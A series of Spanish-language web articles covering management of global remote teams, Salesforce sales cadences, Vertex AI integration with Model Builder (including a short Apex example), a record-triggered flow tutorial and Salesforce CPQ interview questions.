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Claves Para Manejar Equipos Globales Con Exito

A medida que crece la economía mundial más empresas están ayudando a la expansión internacional. Esto se refiere a la confianza en la fuerza de trabajo dispersa. Se ha transformado en algo muy común el tener empleados remotos en diferentes lugares.

La mayoría de los empleados prefieren trabajar con empresas que ofrezcan trabajo remoto. Considerando que hasta el 25% de la fuerza de trabajo global en las empresas son 100% remoto y tienen políticas de equipos virtuales, podemos decir que apoyando una entorno de trabajo diverso es también celebrado de manera mundial.

¿Quieres aprender cómo navegar en las complejidades de manejar un equipo global? NoHQ tiene recursos accionables que pueden ayudarte a alcanzarlo. En este artículo se explora la importancia de los equipos globales para tu empresa. También aprenderás consejos prácticos que te ayudarán a construir de manera exitosa equipos globales que funcionen.

¿Por qué son importantes los Equipos Globales?

Las empresas internacionales funcionan mejor cuando tienen talentos alrededor del mundo. ¿Por qué? 

  • Los Equipos Globales Fomentan la inclusividad y la diversidad en tu empresa. Con su amplio rango de experiencia. los miembros del equipo distribuidos pueden ayudar a crear y desarrollar estrategias y soluciones. Además trabajar en diferentes husos horarios iguala una estructura de soporte flexible y mayor alcance. Porque los miembros del equipo están disponibles más horas durante el día, pueden responder a la lista de clientes global. 
  • Otra importancia de los equipos globales es la productividad aumentada. Ya que buscan tareas en diferentes zonas horarias tienden a complementar proyectos más rápidamente. Sin importar si el 31 % de los profesionales de recursos humanos estableciera  la productividad como el beneficio central de los equipos globales.
  • Los equipos globales efectivos ayudan a las empresas a competir en el mercado actual sin límite de zonas. 

Pero, ¿cómo se gerencia de manera efectiva a tus equipos a través de los límites y establecer su éxito? 

10 Modos Para Manejar de Manera Exitosa a Los Equipos globales

1. Programa Reuniones Regulares Para El Equipo Completo

Tener reuniones de equipo programadas es la clave para tener equipos comprometidos y alineados. Esto es cierto incluso para los equipos distantes socialmente. Las reuniones son oportunidades de colaboración esencial que ayudan a los miembros a trabajar juntos, compartir ideas y lograr objetivos. 

Ya que los equipos tienen un tiempo limitado en común, es mejor que tengan reuniones de equipos estructuradas con agendas bien planeadas. Asegúrate de adherirte a los horarios de rutinas y crear una retina que funcione para todos. 

El 96% de los que respondieron a este estudio acordaron que la conferencia por video favorece la conectividad entre los equipos remotos. También ayuda a los miembros del equipo a construir empatía y confianza. Por lo tanto elige plataformas como Zoom, GoogleMeet, o Skype.

2. Invierte en Herramientas de Control de Tareas

Las herramientas de control de tareas y de proyectos son programas basados en la nube que te permiten mantener un registro de las tareas de tu equipo y plazos. Pueden enviar recordatorios y dar informes diarios, semanales y mensuales. Las aplicaciones de seguimiento de tiempo son una inversión excelente si tu empresa paga por hora.  

Estos programas te ayudan de manera efectiva a manejar el equipo de tu equipo a donde estén. Asignar tareas, establecer plazos y monitorear su progreso de manera simultánea. La mejor parte? Los miembros de equipo que trabajan en proyectos compartidos pueden ser elegidos en lugares desocupados por otros. Las aplicaciones de seguimiento de tareas como Asana, Monday.com, y Trello pueden ayudarte a manejar un equipo global de manera efectiva. 

3. Mejora la Comunicación

Manejar el flujo de trabajo, agendas y tareas a través de los diferentes lugares y zonas horarios puede ser desalentador. Incluso con herramientas de manejo de proyectos, los mensajes pueden ser a veces perdidos en la traducción. 

Garantizar que tienes una comunicación clara y frecuente con cada miembro del equipo es un modo de fomentar el compromiso del empleado y construir equipos globales que funcionen. Asegúrate de discutir las expectativas para cada rendimiento, progreso, desafíos y cambios de cada miembro del equipo. 

Crea oportunidades para que ellos sugieran ideas y resuelvan desacuerdos cuando sea necesario. La comunicación uno a uno también crea espacio para la devolución honesta de ambos lados. 

4. Ofrece Critica Constructiva

Un feedback honesto y abierto crea relaciones basadas en la confianza contigo y con tu equipo. Es también una oportunidad para seguir su crecimiento profesional y ofrecer consejo que pueda mejorar su rendimiento laboral. Nótese que es mejor dar una crítica constructiva y feedback durante las reuniones uno a uno. Las mismas pueden ser realizadas una vez por mes, cada tres meses o al final de un proyecto.

El mejor modo de dar feedback es:

  • Garantizar que tu rendimiento sea específico. 
  • Ofrecer premios y halagos por sus contribuciones y exitos.
  • Dirigirlos a recursos relevantes para ayudarlos a mejorar.

5. Contrata a la gente correcta 

Cuando contratas, busca gente que tenga la experiencia y el perfil para tu empresa. No todos pueden manejar el trabajo remoto. Contratar a la persona equivocada puede rápidamente ocasionar problemas para tu equipo global. Para evitar esto, haz que el candidato tome evaluaciones de personalidad relevantes. También debes corroborar sus referencias.

¿Quieres estar seguro en cómo reclutar para trabajos remotos? NoHQ es una gran plataforma que ayuda a suavizar los desafíos de contratación globales para muchas empresas. Reimagina tu proceso de contratación remota con tu guía de contratación.

6. Anticípate a los Obstáculos 

Trabajar de manera remota tiene su único conjunto de obstáculos. Piensa en distracciones como los ruidos de vecinos, niños, lavarropas o incluso de las mascotas. Esto puede afectar la capacidad de cada miembro de equipo para focalizarse y ser productivo. anticiparse a estos obstáculos únicos te ayudarán a ofrecer el apoyo correcto a tu. Equipo remoto. También estarán mejor preparados para superar obstáculos y alcanzar los objetivos establecidos. 

Para manejar a los equipos globales exitosamente, considera ofrecer opciones de trabajo alternativa donde sea posible. También, trata de no restringir sus horas de trabajo a un horario específico. La mayoría de las personas que trabajan remoto tienden a ser más productivas en horarios pocos comunes del día, desde la medianoche a la madrugada. 

7. Toma nota de las diferencias culturales

Los equipos globales tienden a incluir gente de diferentes culturas y profesiones. Los miembros de equipos pueden sentirse irrespetuosos o ignorados cuando estas diferencias no son reconocidas. Para evitar esto, fomenta las conversaciones respetuosas e inclusivas sobre las diferencias culturales.  Esto abrirá posibilidades al equipo y mejores modos de manejar ciertas situaciones. Junto con un entendimiento profundo de requisitos culturales diferentes y prácticas comerciales, serás capaz de dete,Omar como las diferencias afectaran a otros miembros del equoipo.

8. Crea una comunidad Virtual 

Los empleados que trabajan de manera remota tienden a sentirse fácilmente dejados. Para garantizarles que permanecen comprometidos: construye una comunidad virtual donde todos se sientan parte d e una familia. Esto disparará una colaboración cultural y unión en el equipo.

¿Como puedes hacerlo? Tecnología de apalancamiento y herramientas de colaboración. Además no todo es trabajo, cuando estés trabajando con equipos globales, puedes organizar reuniones de café virtual, almuerzos o,momentos de recreación. Esto los ayudará a establecer conexiones y fomentar el espíritu de equipo.

9. Brinda todos los recursos necesarios 

El brindar apoyo a los empleados reomots incluye darles todos los recursos que necesitan para realizar el trabajo. Para gaarntizar el exito de tu esfuerzos en el gerenciamiento del proyecto global, no pases por alto las necesidades de tu equipo.  

Si existiera una falla en la comunicacion, construyela con entrenamiento del idioma y clases de oratoria. Los empleados probalblemnte tengan exito en sus trabajos cuando existen oportinades de desarrollo porfesional .

10. Implementa Paquetes y Beneficios de Compensación Justa

:Los paquetes de compensación y los beneficios son fundamentales al contratar y retener a los empleados. Compensation packages, and perks are instrumental in hiring and retaining employees. Although providing free catered lunches and gym memberships may work for office-based employees, they won’t for global teams. 

Some tried and trusted perks for remote employees include: 

  • paid time off
  • WFH equipment
  • child care assistance
  • coworking stipend
  • learning stipends for online classes, etc.

Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Última actualización el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participación de ventas?

Objetivos:

Después de leer este blog, podrás:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscríbase para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado automáticamente desde la clase Apex
  • Y mucho más.

👉 Anteriormente, escribí un artículo sobre Sales Engagement. ¿Por qué no echarles un vistazo mientras lo haces?

  1. ¿Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea específica. Siempre que un vendedor por teléfono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participación de ventas, asegúrese de la creación automática de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participación en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

¿Qué es la cadencia de participación en ventas?

La adquisición de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, están listos para emprender actividades de divulgación. ¡Pero espera! Demos un paso atrás y reflexionemos sobre las siguientes preguntas como preámbulo para comprender la cadencia de ventas: (1) ¿Con qué frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) ¿Cómo le gustaría que se comunicaran con el cliente potencial, mediante llamada o correo electrónico? (2) ¿Cómo desea capturar la disposición de las llamadas? (3) etcétera.

La cadencia de participación de ventas es una línea de tiempo de las actividades y métodos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El propósito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluiría una lista de las cosas que hace para programar la primera reunión.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electrónico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinación de las tres formas de comunicación mencionadas.

Una cadencia de participación de ventas se parece a esto:

HVS.png

En otras palabras, las cadencias de participación de ventas difieren de un tipo de proceso de ventas a otro, pero la idea básica sigue siendo la misma: toques consistentes y secuenciales.

¿Qué es la captura de datos modificados?

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Lleve sus modelos de IA de Google Vertex a la nube de datos ☁️

Lleve sus modelos de IA de Google Vertex a la nube de datos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Lleve sus modelos de IA de Google Vertex a la nube de datos | Blog de desarrolladores de Salesforce

Model Builder, parte de Einstein Copilot Studio, es una plataforma fácil de usar que le permite crear y poner en funcionamiento modelos de IA en Salesforce. Model Builder es capaz de integrarse profundamente con plataformas de IA externas, como Google Cloud Vertex AI y Amazon SageMaker, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos de Salesforce Data Cloud.

Salesforce anunció previamente el lanzamiento de Model Builder con Amazon SageMaker en agosto de 2023. Hoy, nos complace anunciar que los modelos de Google Vertex AI ahora están disponibles de forma general en Model Builder. Como parte de esta última versión, Model Builder ahora admite la autenticación mediante las credenciales de la cuenta del servicio de Google, así como la ingestión de datos en streaming.

Estamos entusiasmados con esta nueva innovación de la asociación ampliada de Salesforce con Google Cloud, que consideramos que tiene un enorme potencial para los desarrolladores. Como enfatizó Kaushal Kurapati, vicepresidente senior de Producto, IA y Búsqueda de Salesforce:

“Con esta asociación con Google Cloud, Model Builder ofrece una manera conveniente para que los clientes aprovechen sus modelos Vertex AI en sus fuentes de datos, flujos de trabajo y aplicaciones de Salesforce y brinden experiencias personalizadas, continuando con la visión de construir una plataforma abierta de Salesforce AI con un ecosistema modelo robusto”.

¿Qué es la capacidad de traer su propio modelo (BYOM)?

Model Builder le permite conectarse fácilmente a modelos predictivos externos, como los de un proveedor de modelos externo o su propio modelo propietario, y utilizarlos en el flujo de trabajo en Salesforce. Por ejemplo, puede utilizar modelos predictivos para calificar clientes potenciales, recomendar productos o detectar la deserción.

La capacidad BYOM de Model Builder le permite integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real, y utilizar esa información de varias maneras, como enriquecer perfiles de clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales.

¿Por qué traer su propio modelo a Data Cloud?

Estos son algunos de los beneficios de usar un modelo de Google Cloud Vertex AI con datos de Data Cloud en Model Builder:

  • Le brinda acceso a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360, en Vertex AI
  • Elimina trabajos de ETL tediosos, costosos y propensos a errores; El enfoque de federación de copia cero para los datos reduce los gastos generales de gestión de copias de datos y los costos de almacenamiento, y mejora la eficiencia.
  • Le permite crear, entrenar, probar y ajustar modelos rápidamente en una única plataforma y conectarlos con Data Cloud.
  • Admite la ingesta de datos en tiempo real, streaming y por lotes para impulsar resultados de IA relevantes
  • Aprovecha las predicciones de Vertex AI para automatizar procesos comerciales en Salesforce Data Cloud con Flow y Apex

Para obtener más información, mire nuestro breve vídeo .

Flujo de trabajo de la aplicación para usar Model Builder con Vertex AI de Google Cloud

En esta sección, analizamos brevemente el flujo de trabajo de la aplicación utilizando Model Builder.

En el flujo de trabajo que se muestra arriba, el conector Python brinda a Vertex AI acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar datos, y realizar tareas de ingeniería de características para el desarrollo y la inferencia de modelos de IA utilizando la plataforma Vertex AI.

Tenga en cuenta que si se realiza una autenticación basada en clave API, se necesita una puerta de enlace API delante del punto final de Vertex AI.

NUEVA característica: Autenticación mediante credenciales de cuenta de servicio de Google

La versión más reciente de Model Builder ahora permite utilizar las credenciales de la cuenta del servicio de Google para la autenticación. Esto se suma a los métodos de autenticación JWT y basados en claves existentes. Para utilizar un flujo de token al portador JWT, ingrese su correo electrónico de la cuenta de servicio, ID de clave privada y clave privada de su cuenta de Google Cloud como se muestra a continuación.

NUEVA característica: Ingestión de datos en streaming

La última versión de Model Builder le permite activar automáticamente una inferencia cuando los datos asignados a la variable de entrada del modelo se cambian en el objeto del modelo de datos de origen (DMO). También ofrecemos inferencia por lotes, pero debe hacer clic en el botón Actualizar manualmente para activar nuevas inferencias. Con la inferencia de transmisión, las nuevas inferencias se activan solo cuando hay un cambio en la variable de entrada.

Para habilitar la inferencia de transmisión, deberá marcar la casilla Sí en ¿Actualizar modelo cuando se actualizan los datos? Como se muestra abajo.

También puede especificar cuáles de las funciones de entrada deben actualizarse seleccionando Sí en el menú desplegable Actualizar puntuación .

Cómo consumir predicciones de tu modelo en Salesforce

Hay dos formas de consumir predicciones: usar acciones invocables en Flow y Apex, o usar Query API para realizar análisis ad hoc.

Utilice Flow Builder y Apex para obtener predicciones

A continuación se muestra un ejemplo de cómo utilizar acciones invocables para modelos de Model Builder en Flow. Una vez que tenga un modelo activado en Model Builder, seleccione Nueva acción → Nube de datos y luego haga clic en el nombre del modelo deseado.

La captura de pantalla siguiente muestra un flujo de ejemplo que utiliza una acción invocable para crear recomendaciones de productos para un cliente. Aquí, un administrador usa Flow Builder para recorrer los registros individuales unificados y verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Model Builder y recomienda el siguiente mejor producto a un cliente.

Esta acción invocable también se puede invocar en Apex. Vea el ejemplo a continuación.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('param_variable_1', '10');
action.setInvocationParameter('param_variable_2', '20');
action.setInvocationParameter('param_variable_3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice Query API para obtener predicciones

Query API es otra forma rápida de obtener puntuaciones de predicción para datos que residen en Data Cloud. Con Query API, puede utilizar el punto final de inferencia y llamar a funciones de predicción para probar el punto final. Vea el ejemplo a continuación.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusión

Model Builder es una plataforma de IA fácil de usar que permite a los equipos de ingeniería y ciencia de datos crear, entrenar e implementar modelos de IA utilizando plataformas y datos externos en Data Cloud. Las plataformas externas incluyen Google Cloud Vertex AI, Amazon SageMaker y otros servicios de IA predictivos o generativos. Una vez que esté listo, podrá utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras aplicaciones en Salesforce.

Para obtener más información sobre cómo puede mejorar su estrategia de IA utilizando Model Builder, asista a nuestro seminario web gratuito con expertos en IA de Salesforce y Google Cloud.

Recursos adicionales

Sobre los autores

Daryl Martis es el director de producto de Salesforce de Einstein. Tiene más de 10 años de experiencia en planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas AI/ML y soluciones en la nube. Síguelo en LinkedIn o Twitter .

Ashish Thapliyal es director sénior de producto en Salesforce y actualmente dirige varias áreas de productos de la plataforma Einstein AI. Síguelo en LinkedIn o Twitter .

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Escenario de flujo de activación de registro: enviar notificación por correo electrónico al objeto principal en función de los cambios con el objeto secundario

Escenario de flujo de activación de registro: enviar notificación por correo electrónico al objeto principal en función de los cambios con el objeto secundario

Escenario de activación de registro 2

Su organización administra cuentas, contactos y oportunidades para operaciones de ventas. Desea automatizar el proceso de notificación al propietario de la cuenta cuando el campo personalizado 'Cambio de estado' de un contacto cambia a 'Inactivo'. Además, desea actualizar la 'Etapa de oportunidad' de todas las oportunidades relacionadas a 'En espera' cuando cambie el estado de este contacto. Explique cómo diseñaría un Flujo para lograr esto.

Respuesta

Centrémonos en el patrón para resolver este escenario de modo que podamos resolver preguntas de flujo de manera efectiva.

1. Comprenda el requisito:

– Punto de activación: cuando el 'Cambio de estado' de un contacto cambia a 'Inactivo'.

– Resultado: Automatizar la notificación al propietario de la cuenta y actualizar las etapas de la oportunidad.

2. Desglosarlo:

– Recuperación de datos: Identificar la Cuenta del Contacto y las Oportunidades relacionadas.

– Notificaciones: envía una notificación al propietario de la cuenta.

– Actualización: actualice las etapas de la oportunidad según el cambio de estado del contacto.

3. Visualice el flujo:

– Secuencia:

– Iniciar el flujo cuando el 'Estado' de un contacto cambie a 'Inactivo'.

– Recuperar la cuenta del contacto y las oportunidades relacionadas.

– Enviar una notificación al propietario de la cuenta.

– Actualizar la 'Etapa de Oportunidad' en Oportunidades relacionadas.

4. Diseñe el flujo:

– Elementos:

– “Registrar flujo activado” para iniciar el cambio de estado de flujo en contacto. Seleccionaremos cuándo se actualiza el registro, ya que el flujo debe ejecutarse cuando el campo 'cambio de estado' del contacto se cambia a inactivo.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

– El “Elemento de decisión” comprueba si el campo de estado del caso está activo o no

Una captura de pantalla de una computadora Descripción generada automáticamente

– Elemento “Obtener registros” para recuperar la cuenta del contacto. Para este filtro se debe buscar la cuenta que tenga el mismo ID que el ID de cuenta del contacto.

Una captura de pantalla de una computadora Descripción generada automáticamente

– Enviar notificación por correo electrónico al propietario de la cuenta.

—

Escribe el correo electrónico. A la hora de redactar el contenido de tu correo electrónico, tienes tres opciones disponibles:

Opción 1: a partir del lanzamiento Summer '23 de Salesforce, puede utilizar plantillas de correo electrónico con la acción Enviar correo electrónico. Puede hacer esto activando el ID de plantilla de correo electrónico e ingresando el ID de la plantilla de correo electrónico que desea usar. Para encontrar esta ID, navegue hasta su plantilla de correo electrónico desde las Plantillas de correo electrónico Lightning en sus aplicaciones o la página Plantilla de correo electrónico clásica en la configuración. Luego copie la cadena de 15 caracteres de la URL y péguela en su flujo como ID de plantilla de correo electrónico.

Imagen que resalta la cadena de 15 caracteres en la URL de la página Plantilla de correo electrónico de una plantilla de correo electrónico de muestra.

Opción 2: almacena el cuerpo de tu correo electrónico en una plantilla de texto . Para hacer esto, active el interruptor Cuerpo . A continuación, seleccione Nuevo recurso en el menú y elija Plantilla de texto . Asigne a la plantilla un nombre API y escriba el cuerpo de su correo electrónico . Puede ingresar recursos personalizados desde el menú encima del cuadro de texto. De esta manera, puedes incluir tanto texto estático como información personalizada para el cliente potencial. Una vez que su plantilla esté completa, haga clic en Listo . Una captura de pantalla de una computadora Descripción generada automáticamente

  1. Ahora que tenemos escrito el contenido de nuestro correo electrónico, es momento de determinar a quién va dirigido. Active la lista de destinatarios e ingrese {!$Record.Email}. Ahora, la dirección de correo electrónico vinculada al objeto Cliente potencial se convertirá automáticamente en el destinatario.
  2. Otra característica nueva de la versión Summer '23 de Salesforce es la capacidad de registrar correos electrónicos enviados con la acción Enviar correo electrónico. Esto significa que puede actualizar registros automáticamente cuando se envía un correo electrónico, de modo que tenga un cronograma claro de comunicación almacenado directamente dentro del registro del objeto. Para hacer esto, active la opción Registrar correo electrónico al enviar y establezca el valor en {!$GlobalConstant.True} .
  3. Cambie la ID del destinatario a Activado e ingrese {!$Record.Id} Ahora, el registro del destinatario se actualizará automáticamente para mostrar cuándo fueron contactados, qué decía el correo electrónico e incluso cuándo lo abrieron.

Una captura de pantalla de la pantalla de una computadora Descripción generada automáticamente

A continuación, active Cuerpo con formato de texto enriquecido. En el menú desplegable, seleccione {!$GlobalConstant.True}. Esto garantiza que el formato de nuestro correo electrónico siga siendo consistente.

Imagen que muestra la Lista de direcciones de destinatarios activada con el cuadro de texto que muestra {!$Record.Email} y la opción Cuerpo con formato de texto enriquecido activada con el cuadro de texto que muestra {!$GlobalConstant.True}

Por último, cambie el valor de Asunto a Activado y escriba su asunto en el cuadro. Puede omitir este paso si está utilizando una ID de plantilla de correo electrónico.

Un objeto rectangular blanco con líneas negras. Descripción generada automáticamente.

– Elemento “Actualizar Registros” para actualizar Etapas de Oportunidad.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

5. Escenario de prueba:

– Cambie el 'Cambio de estado' de un contacto a 'Inactivo' y verifique que el flujo notifique correctamente al propietario de la cuenta y actualice las Etapas de la oportunidad a 'En espera'.

Producción

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Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 1

Enlace de Whatsapp para el grupo Salesforce CPQ

1. ¿Qué son los filtros de búsqueda en el editor de líneas de cotización?

El filtro de búsqueda del editor de líneas de cotización se puede utilizar para filtrar productos, activos o suscripciones por sus valores de campo.

2. ¿Cuál es la diferencia entre la regla del producto y la regla del precio?

La estructura general de las reglas de precios y de productos es la misma:

  • Registro de reglas: que contiene propiedades generales.
  • Condiciones: ambas admiten lógica de condición avanzada
  • Comportamiento

Reglas del producto

Las reglas de productos se utilizan para hacer cumplir la lógica empresarial, ayudar a automatizar los comentarios a los representantes de ventas sobre las selecciones de productos y también aceleran el proceso de cotización.

Hay 4 tipos de reglas de producto:

Reglas de validación: cuando no se cumplen las condiciones, se muestra un mensaje de error y los usuarios no pueden continuar hasta que se solucione la situación. Por tanto, actúan como un freno duro .

Las reglas de alerta son una parada suave en comparación con la parada fuerte de las reglas de validación. También muestran un mensaje, pero es más bien una sugerencia porque el usuario puede continuar sin cumplir con los requisitos comerciales especificados.

Reglas de selección : pueden agregar, eliminar, mostrar, ocultar, habilitar o deshabilitar o realizar alguna combinación de estas acciones en las opciones de productos dentro de un paquete o pueden agregar un producto a una cotización. Esta regla puede ser una excelente manera de aprovechar la Venta Guiada para guiar a sus representantes hacia las opciones apropiadas o más deseadas seleccionando automáticamente los productos correctos.

Las reglas de filtrado se utilizan en paquetes para extraer opciones de productos del catálogo de productos mediante una regla de filtrado . A esto se le suele denominar creación de un paquete dinámico.

Reglas de precios

Se puede considerar que las reglas de precios realizan actualizaciones de campos dentro del cálculo que afectarán el precio. puede usarlos para establecer descuentos y cantidades.

3. ¿Cuáles son las consideraciones para los campos gemelos?

Recuerde que un campo gemelo debe tener el mismo tipo de datos y nombre de API que el campo correspondiente creado en el objeto Opción de producto.

4. ¿Cómo configurar productos de suscripción en Salesforce CPQ?

Hay tres campos esenciales para configurar Productos de suscripción en Salesforce CPQ.

Campo de producto Tipo de datos Descripción
Precios de suscripción Lista de selección El producto no se considerará una suscripción sin que este campo esté configurado en Precio fijo o Porcentaje del total.
Plazo de suscripción Número Este es el periodo asociado a la compra, por lo que puedes establecerlo en 12 meses si se trata de una Suscripción Anual.
Tipo de suscripción Lista de selección Este campo determina si el producto es renovable o único. Las Suscripciones Renovables se transfieren a Cotizaciones de Renovación. Las suscripciones únicas no lo harán.

Para crear Productos de Suscripción , cree un nuevo Registro de productos. Complete los campos: Precio de suscripción , Tipo de suscripción y Plazo de suscripción para el producto. Tenga en cuenta que durante la creación del contrato, los Productos de Suscripción se convierten en registros de Suscripción.

Salesforce CPQ, Productos de suscripción, Campos básicos de nuevos productos: Precios de suscripción; Tipo de suscripción; Plazo de suscripción

5. ¿Cuál es la diferencia entre restricciones de opciones y reglas de productos?

Las restricciones de opciones y las reglas de productos tienen diferentes casos de uso.

Las restricciones de opciones no pueden seleccionar productos automáticamente. (aunque pueden anular la selección de productos cuando se aplica la dependencia). Son buenos en dos escenarios:

  • dependencia
  • exclusión

Las restricciones de opciones permiten el procesamiento en tiempo real . Cada vez que el usuario selecciona o deselecciona una opción, la dependencia o exclusión se activa inmediatamente.

Las reglas de producto tienen más funciones que la restricción de opción, aunque es necesario elegir un evento de evaluación para especificar cuándo Salesforce CPQ debe considerar y ejecutar una regla de producto: Cargar, Editar, Guardar o Siempre.

6. ¿Explicar el paquete de productos en CPQ?

Hay tres objetos clave que definen la estructura del paquete :

  • Producto
  • Opciones
  • Características

Producto

Los paquetes están hechos de productos. Se puede hacer referencia a los productos en un paquete, ya sea como paquete principal o como opciones de producto. Piense en la computadora portátil como un producto

Opciones de producto

Son como hijos que se encuentran debajo del paquete principal y son los que realmente unen el paquete porque los paquetes se crean cuando agrega Opciones a un Producto en la lista relacionada de Opciones. Las opciones de producto para computadora portátil pueden ser mouse, teclado, cargador y software de Microsoft.

Características

Son categorías de opciones de productos dentro de la configuración. No son obligatorios, pero se pueden utilizar para una mejor experiencia visual y también ayudan a impulsar lógica adicional, como las opciones mínimas y máximas. Las funciones son como poner opciones dentro de funciones, por ejemplo:

Software

  • Software de Microsoft

Hardware

  • Ratón
  • Teclado

Aquí Hardware y Software son características que clasifican las opciones del producto.

Hay tres tipos de paquetes :

Paquete estático. Este sería el paquete fijo tradicional, preempaquetado, en el que se venden ciertos productos juntos a un precio fijo, y el usuario no necesita ingresar a la configuración porque no se permiten ajustes.

Paquete configurable. Este tipo de paquete se puede configurar con ciertas restricciones para evitar configuraciones imposibles. El usuario puede seleccionar diferentes opciones para personalizar el paquete y satisfacer las necesidades del cliente.

Paquete anidado. Estos son paquetes dentro de otros paquetes. Se recomienda mantener los paquetes anidados en tres niveles de profundidad. Los paquetes anidados se crean fácilmente agregando el producto principal de un paquete como opción a otro paquete.

Paquete virtual . Este tipo de fardo funciona como contenedor para otros productos. Para configurar un paquete principal virtual, debe estar asociado con un precio de $0,00.

Paquetes dinámicos . Estas funciones, junto con las reglas de filtrado de productos, permiten a sus representantes de ventas seleccionar productos de una lista previamente filtrada de opciones entre las que pueden elegir.

7.¿Qué son las funciones de CPQ?

El objeto de característica está relacionado con productos y "se encuentra" dentro de paquetes. Un paquete puede tener varias funciones o ninguna, y una función puede tener varias opciones.

Las características tienen dos propósitos:

  • Ofrecen una mejor experiencia de usuario mientras navegan por las opciones de productos dentro de los paquetes.
  • Los campos en los registros de funciones nos ayudan a impulsar la lógica empresarial , como establecer las opciones mínimas y máximas, evitando que el usuario seleccione muy pocas o demasiadas opciones. Si el usuario no cumple con los requisitos mínimos/máximos e intenta guardar la configuración.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una lista de productos Descripción generada automáticamente

El campo Número establece el orden de visualización de las funciones, siendo la función con el número más bajo la primera en la lista. Se recomienda utilizar incrementos de 10 al asignar números.

El campo SKU configurado se completa automáticamente cuando el usuario crea una función desde la página de detalles del producto del paquete y representa el producto principal que alberga la función.

8. ¿Explica los diferentes valores del campo del método de selección de opciones en el objeto de características?

El campo Método de selección de opciones controla cómo aparecen al usuario las opciones adjuntas a esta función.

Haga clic : las opciones aparecen como una lista con casillas de verificación junto a ellas:

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una lista de productos Descripción generada automáticamente

Agregar : las opciones se colapsan y en su lugar aparece un botón Agregar opciones. Se debe hacer clic en el botón Agregar opciones para navegar a una página separada que muestra los productos para esta función.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

Dinámico : muestra un botón Agregar opciones, que muestra una lista prefiltrada de productos disponibles para su selección. Para utilizar esta funcionalidad, debe configurar una regla de producto de filtro CPQ de Salesforce para paquetes dinámicos.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

9. ¿Explicar el campo del objeto de búsqueda?

Las reglas de producto y las reglas de precio en Salesforce CPQ contienen el campo Objeto de búsqueda. Este campo define el objeto que almacena datos que puede evaluar mediante consultas de búsqueda para compararlos con los campos de cotización, línea de cotización o opción de producto.

10. ¿Explicar la estructura de la plantilla de cotización?

La estructura de la plantilla de cotización incluye:

  1. Información de la plantilla de cotización
  • Información de la página
  • Información de encabezado/pie de página
  • Información corporativa
  • Información de estilo
  • Información de estilo de grupo
  • Títulos de sección
  • Opciones de impresión
  1. Listas relacionadas
  • Columnas de línea
  • Secciones de plantilla
  • Documentos adicionales

Detalles de la plantilla de cotización de muestra nueva de Salesforce CPQ

11. ¿Cuáles son los pasos para crear plantillas de cotizaciones?

Hay cinco pasos principales a seguir al crear una plantilla de cotización:

1. Crear la propia plantilla de cotización

2. Almacenamiento del logotipo necesario en Documentos

3. Creando el contenido de la plantilla

4. Creando las secciones de la plantilla

5. Creando las columnas de línea

12. ¿Cómo se puede renovar la suscripción con un cliente existente?

Si ya tiene una oportunidad de renovación, cuando se acerque al final del período de suscripción, es posible que desee venderles las suscripciones de renovación al cliente nuevamente. Para ello, necesita una cotización de renovación.

